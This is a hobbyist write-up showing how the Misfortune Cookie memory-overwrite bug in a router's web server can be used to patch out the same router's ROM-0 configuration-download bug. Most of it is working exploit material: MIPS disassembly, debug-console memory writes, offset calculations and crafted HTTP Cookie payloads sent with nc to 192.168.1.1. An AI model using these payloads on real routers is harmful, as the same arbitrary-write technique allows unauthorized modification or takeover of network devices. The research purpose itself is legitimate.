Patching ROM-0 Bug With Misfortune Cookie
by cawan (cawan[at]ieee.org or chuiyewleong[at]hotmail.com)
on 03/03/2015
This is a paper just for fun, especially for those embedded hackers who looking
for fun in tweaking embedded system. So, this is not the proper solution to fix
ROM-0 bug, it is ridiculous to fix a bug with another bug. Anyway, let's start
our fun now. From my previous paper of "Misfortune Cookie Demystified", it is
clear we can perform arbitrary address overwrite with arbitrary data. Other than
to unlock a router, it is possible to patch a router in order to fix ROM-0 bug.
Before that, let us have a look to the data format of overwriting action being
executed by misfortune cookie in detail. Back to the code snippet.
ROM:8010E5B0 loc_8010E5B0: # CODE XREF: sub_8010E574+EC j
ROM:8010E5B0 li $t7, 0x43 # 0x43='C'
ROM:8010E5B4 bne $v0, $t7, loc_8010E618
ROM:8010E5B8 li $a1, 0x3D
ROM:8010E5BC addiu $s0, 1
ROM:8010E5C0 move $a0, $s0
ROM:8010E5C4 jal sub_8016C340
ROM:8010E5C8 nop
ROM:8010E5CC move $a0, $s0
ROM:8010E5D0 move $s1, $v0
ROM:8010E5D4 addiu $s1, 1
ROM:8010E5D8 jal sub_801F2E74
ROM:8010E5DC sb $zero, -1($s1)
ROM:8010E5E0 move $a0, $s1
ROM:8010E5E4 jal sub_8016CA24
ROM:8010E5E8 move $s3, $v0
ROM:8010E5EC li $a2, 0x28
ROM:8010E5F0 mul $t2, $s3, $a2
ROM:8010E5F4 move $a1, $s1
ROM:8010E5F8 addiu $t5, $s4, 0x6B28
ROM:8010E5FC move $s0, $v0
ROM:8010E600 addu $at, $s1, $s0
ROM:8010E604 addu $a0, $t5, $t2
ROM:8010E608 jal sub_8016A784
ROM:8010E60C sb $zero, 0($at)
ROM:8010E610 j loc_8010E644
ROM:8010E614 addu $s0, $s1, $s0
ROM:8010E618 # ---------------------------------------------------------------------------
ROM:8010E608 is strncpy(), after it, at ROM:8010E610 and ROM:8010E614, we just simply
set a trap there. Well, we make it this way,
RAS Version: 1.0.0 Build 121121 Rel.08870
System ID: $2.12.58.23(G04.BZ.4)3.20.7.0 20120518_V003 | 2012/05/18
Press any key to enter debug mode within 3 seconds.
...
Enter Debug Mode
ATEN1, A847D6B1
OK
ATWL 80014BC0, ac30fffc
OK
ATGR
(Compressed)
Version: FDATA, start: bfc85830
Length: A94C, Checksum: DCEE
Compressed Length: 1D79, Checksum: 01BB
Flash data is the same!!
(Compressed)
Version: ADSL ATU-R, start: bfc95830
Length: 3E7004, Checksum: 3336
Compressed Length: 122D57, Checksum: 3612
ERROR
ATWL 8010E610, 0280b820
OK
ATWL 8010E614, 00000008
OK
ATGO 80020000
OK
...
...
writeRomBlock(): Erase OK!
istributePvcFakeMac!
run distributePvcFakeMac!
run distributePvcFakeMac!
run distributePvcFakeMac!
run distributePvcFakeMac!
run distributePvcFakeMac!
Press ENTER to continue...
Now, it is ready to trigger the trap.
cawan$ cat cawan_header | xxd
0000000: 4745 5420 2f20 4854 5450 2f31 2e31 0a55 GET / HTTP/1.1.U
0000010: 7365 722d 4167 656e 743a 2063 7572 6c2f ser-Agent: curl/
0000020: 372e 3333 2e30 0a48 6f73 743a 2031 3932 7.33.0.Host: 192
0000030: 2e31 3638 2e31 2e31 0a41 6363 6570 743a .168.1.1.Accept:
0000040: 202a 2f2a 0a43 6f6f 6b69 653a 2043 3130 */*.Cookie: C10
0000050: 3733 3733 3838 333d 6161 0a 7373883=aa.
cawan$ cat cawan_header | nc 192.168.1.1 80
cawan$
and we get this,
TLB refill exception occured!
EPC= 0x00000000
SR= 0x10000003
CR= 0x50805008
$RA= 0x80020000
Bad Virtual Address = 0x00000000
UTLB_TLBL ..\core\sys_isr.c:267 sysreset()
$r0= 0x00000000 $at= 0x80350000 $v0= 0x00000000 $v1= 0x00000001
$a0= 0x00000001 $a1= 0x805D7AF8 $a2= 0xFFFFFFFF $a3= 0x00000000
$t0= 0x8001FF80 $t1= 0xFFFFFFFE $t2= 0x804A8F38 $t3= 0x804A9E47
$t4= 0x804A9460 $t5= 0x804A8A60 $t6= 0x804A9D00 $t7= 0x00000040
$s0= 0x804A8A60 $s1= 0x8040C114 $s2= 0x805E2BC8 $s3= 0x80042A70
$s4= 0x00000001 $s5= 0x8000007C $s6= 0x8040E5FC $s7= 0x8040F8AC
$t8= 0x804A9E48 $t9= 0x00000000 $k0= 0x00000000 $k1= 0x8000007C
$gp= 0x8040F004 $sp= 0x805E2B60 $fp= 0x805E2BC8 $ra= 0x8003A3D0
...
...
Let us find a nice looking buffer area to start our study of data overwriting
format and pattern in detail. It seems 0x804ED500 is a good place, as shown
below.
Press any key to enter debug mode within 3 seconds.
......
Enter Debug Mode
atdu 804ed500
804ED500: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
804ED510: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
804ED520: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
804ED530: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
804ED540: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
804ED550: 00 00 00 00 80 4E DD 68-80 10 39 90 02 0C 0B 00 .....N.h..9.....
804ED560: BE AF 00 00 00 00 08 00-47 45 54 20 2F 00 48 54 ........GET /.HT
804ED570: 54 50 2F 31 2E 31 0A 75-73 65 72 2D 61 67 65 6E TP/1.1.user-agen
804ED580: 74 3A 20 63 75 72 6C 2F-37 2E 33 33 2E 30 0A 68 t: curl/7.33.0.h
804ED590: 6F 73 74 3A 20 31 39 32-2E 31 36 38 2E 31 2E 31 ost: 192.168.1.1
804ED5A0: 00 61 63 63 65 70 74 3A-20 2A 2F 2A 0A 63 6F 6F .accept: */*.coo
804ED5B0: 6B 69 65 3A 20 43 31 30-37 33 37 33 38 38 33 00 kie: C107373883.
804ED5C0: 61 61 00 00 00 00 00 00-00 00 00 00 00 00 00 00 aa..............
804ED5D0: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
804ED5E0: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
804ED5F0: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
OK
From 0x804ED570 to 0x804ED5B0, there is no null character being existed in that
portion of data. On the other hand, 0x804ED400 is another good place, as shown
below.
atdu 804ed400
804ED400: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
804ED410: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
804ED420: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
804ED430: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
804ED440: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
804ED450: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
804ED460: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
804ED470: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
804ED480: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
804ED490: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
804ED4A0: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
804ED4B0: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
804ED4C0: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
804ED4D0: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
804ED4E0: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
804ED4F0: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
OK
Well, there is all null characters in this portion of memory. Now, let us put
some data in this all null portion.
ATEN1, A847D6B1
OK
ATWL 80014BC0, ac30fffc
OK
ATGR
(Compressed)
Version: FDATA, start: bfc85830
Length: A94C, Checksum: DCEE
Compressed Length: 1D79, Checksum: 01BB
Flash data is the same!!
(Compressed)
Version: ADSL ATU-R, start: bfc95830
Length: 3E7004, Checksum: 3336
Compressed Length: 122D57, Checksum: 3612
ERROR
ATWL 8010E610, 0280b820
OK
ATWL 8010E614, 00000008
OK
ATGO 80020000
OK
...
...
cawan$ cat cawan_header | xxd
0000000: 4745 5420 2f20 4854 5450 2f31 2e31 0a55 GET / HTTP/1.1.U
0000010: 7365 722d 4167 656e 743a 2063 7572 6c2f ser-Agent: curl/
0000020: 372e 3333 2e30 0a48 6f73 743a 2031 3932 7.33.0.Host: 192
0000030: 2e31 3638 2e31 2e31 0a41 6363 6570 743a .168.1.1.Accept:
0000040: 202a 2f2a 0a43 6f6f 6b69 653a 2043 3232 */*.Cookie: C22
0000050: 3032 323d 6361 7761 6e0a 022=cawan.
cawan$ cat cawan_header | nc 192.168.1.1 80
cawan$
RAS Version: 1.0.0 Build 121121 Rel.08870
System ID: $2.12.58.23(G04.BZ.4)3.20.7.0 20120518_V003 | 2012/05/18
Press any key to enter debug mode within 3 seconds.
.......
Enter Debug Mode
atdu 804ed400
804ED400: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
804ED410: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
804ED420: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
804ED430: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
804ED440: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
804ED450: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
804ED460: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
804ED470: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
804ED480: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
804ED490: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
804ED4A0: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
804ED4B0: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
804ED4C0: 00 00 00 00 63 61 77 61-6E 00 00 00 00 00 00 00 ....cawan.......
804ED4D0: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
804ED4E0: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
804ED4F0: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
OK
Cool, the string "cawan" is there. Then, we try to put it into the portion between
0x804ED570 and 0x804ED5B0.
ATEN1, A847D6B1
OK
ATWL 80014BC0, ac30fffc
OK
ATGR
(Compressed)
Version: FDATA, start: bfc85830
Length: A94C, Checksum: DCEE
Compressed Length: 1D79, Checksum: 01BB
Flash data is the same!!
(Compressed)
Version: ADSL ATU-R, start: bfc95830
Length: 3E7004, Checksum: 3336
Compressed Length: 122D57, Checksum: 3612
ERROR
ATWL 8010E610, 0280b820
OK
ATWL 8010E614, 00000008
OK
ATGO 80020000
OK
...
...
cawan$ cat cawan_header | xxd
0000000: 4745 5420 2f20 4854 5450 2f31 2e31 0a55 GET / HTTP/1.1.U
0000010: 7365 722d 4167 656e 743a 2063 7572 6c2f ser-Agent: curl/
0000020: 372e 3333 2e30 0a48 6f73 743a 2031 3932 7.33.0.Host: 192
0000030: 2e31 3638 2e31 2e31 0a41 6363 6570 743a .168.1.1.Accept:
0000040: 202a 2f2a 0a43 6f6f 6b69 653a 2043 3232 */*.Cookie: C22
0000050: 3032 373d 6361 7761 6e0a 027=cawan.
cawan$ cat cawan_header | nc 192.168.1.1 80
cawan$
Press any key to enter debug mode within 3 seconds.
......
Enter Debug Mode
atdu 804ed500
804ED500: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
804ED510: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
804ED520: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
804ED530: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
804ED540: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
804ED550: 00 00 00 00 80 4E DD 68-80 10 39 90 02 0C 0B 00 .....N.h..9.....
804ED560: BE AF 00 00 00 00 08 00-47 45 54 20 2F 00 48 54 ........GET /.HT
804ED570: 54 50 2F 31 2E 31 0A 75-73 65 72 2D 61 67 65 6E TP/1.1.user-agen
804ED580: 74 3A 20 63 75 72 6C 2F-37 2E 33 33 63 61 77 61 t: curl/7.33cawa
804ED590: 6E 00 74 3A 20 31 39 32-2E 31 36 38 2E 31 2E 31 n.t: 192.168.1.1
804ED5A0: 00 61 63 63 65 70 74 3A-20 2A 2F 2A 0A 63 6F 6F .accept: */*.coo
804ED5B0: 6B 69 65 3A 20 43 32 32-30 32 37 00 63 61 77 61 kie: C22027.cawa
804ED5C0: 6E 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 n...............
804ED5D0: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
804ED5E0: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
804ED5F0: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
OK
Well, it is clear that for whatever string that we send will be padded by a null
character. Now, we can create a nop instruction where the last byte is 0x00. It
is simple, we choose
lui $s7,0x4100
which its hex is 0x3C174100. So, we have to find out which location that we need
to patch now. After having some study with IDA, it seems
ROM:80102A40 jal sub_8003D630
is the correct place. Let's try it.
ATEN1, A847D6B1
OK
ATWL 80014BC0, ac30fffc
OK
ATGR
(Compressed)
Version: FDATA, start: bfc85830
Length: A94C, Checksum: DCEE
Compressed Length: 1D79, Checksum: 01BB
Flash data is the same!!
(Compressed)
Version: ADSL ATU-R, start: bfc95830
Length: 3E7004, Checksum: 3336
Compressed Length: 122D57, Checksum: 3612
ERROR
ATWL 80102a40,00000000
OK
atgo 80020000
OK
..
..
cawan$ wget 192.168.1.1/rom-0
--2015-03-03 03:07:26-- http://192.168.1.1/rom-0
Connecting to 192.168.1.1:80... connected.
HTTP request sent, awaiting response... 404 Not Found
2015-03-03 03:07:26 ERROR 404: Not Found.
cawan$
Well, we are at the right place. Now, we have to calculate the address to be used
by the misfortune cookie bug.
0x80102A40 - 0x804163D4 = 0xFFCEC66C (Do it in Dword)
0xFFCEC66C % 0x28 = 0xC (Do it in Qword)
Unfortunately, 0x80102A40 is not exactly aligned to the 0x28. So we should adjust
the address to make it properly aligned. We try again.
0x80102A34 - 0x804163D4 = 0xFFCEC660 (Do it in Dword)
0xFFCEC660 % 0x28 = 0x0 (Do it in Qword)
Nice, it is 0x28 aligned now, so we can proceed to calculate the address.
0xFFCEC660 / 0x28 = 0x6652B5C (Do it in Qword)
0x6652B5C = 107293532
It is ready to create our payload now. Let's boot the router in normal and test
our payload. Remember our nop instruction ? :) Before trigger our payload, lets
verify the rom-0 bug is there.
cawan$ wget 192.168.1.1/rom-0
--2015-03-03 03:29:11-- http://192.168.1.1/rom-0
Connecting to 192.168.1.1:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16384 (16K) [application/octet-stream]
Saving to: ‘rom-0’
100%[=======================================================================
=========================>] 16,384 14.9KB/s in 1.1s
Last-modified header invalid -- time-stamp ignored.
2015-03-03 03:29:12 (14.9 KB/s) - ‘rom-0’ saved [16384/16384]
cawan$ cat cawan_header | xxd
0000000: 4745 5420 2f20 4854 5450 2f31 2e31 0a55 GET / HTTP/1.1.U
0000010: 7365 722d 4167 656e 743a 2063 7572 6c2f ser-Agent: curl/
0000020: 372e 3333 2e30 0a48 6f73 743a 2031 3932 7.33.0.Host: 192
0000030: 2e31 3638 2e31 2e31 0a41 6363 6570 743a .168.1.1.Accept:
0000040: 202a 2f2a 0a43 6f6f 6b69 653a 2043 3130 */*.Cookie: C10
0000050: 3732 3933 3533 323d 4141 4141 4141 4141 7293532=AAAAAAAA
0000060: 4141 4141 3c17 410a AAAA<.A.
cawan$ wget 192.168.1.1/rom-0
--2015-03-03 03:40:32-- http://192.168.1.1/rom-0
Connecting to 192.168.1.1:80... connected.
HTTP request sent, awaiting response... 404 Not Found
2015-03-03 03:40:32 ERROR 404: Not Found.
cawan$
Excellent, we are done, and we conclude our fun here. :)
PDF Version: https://www.scribd.com/doc/262590842/Patching-ROM-0-Bug-With-Misfortune-Cookie
No comments:
Post a Comment